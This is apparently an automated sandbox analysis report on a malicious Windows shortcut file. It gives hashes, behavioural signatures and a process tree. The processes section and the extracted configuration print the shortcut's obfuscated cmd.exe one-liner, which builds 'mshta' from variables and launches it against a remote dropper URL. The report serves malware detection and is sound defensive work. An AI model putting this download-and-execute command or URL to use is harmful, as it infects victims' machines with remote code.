Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:09
Static task
static1
Behavioral task
behavioral1
Sample
DOC-A81XFQ.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-A81XFQ.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-A81XFQ.lnk
- Size 1KB
- Sample260803-qdrazazycw
- SHA256 999e0aa9abaf32ad527e14a0263338e8b2da3f92e932c70954c6ee38c2e83679
- MD5 a3059aa6a2c93a3c1ccf8e5609e379c1
- SHA1 4ea893dcc659ab2d7220bb0b9aa369c5f3954d2c
- SHA512 178bd573420bbf1deaea591566c03487bbf993bc8e39309b1d4cd06ddbc263cc8c96aa453dfde9a4f97e52cf7c263e9c86a1ab3f3fe16283a9d68bf7985ff85e
- TLSH T17E31FE503FFD0610F3F38E3384BB671089BBB9658E20C61D0150460C1072A00E17BF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3180 cmd.exe 5088 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3180 wrote to memory of 5088 3180 cmd.exe 90 PID 5088 wrote to memory of 4120 5088 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-A81XFQ.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set zIi=msh&&set JIXUZ=ta&&start "" !zIi!!JIXUZ! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5088 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:4120
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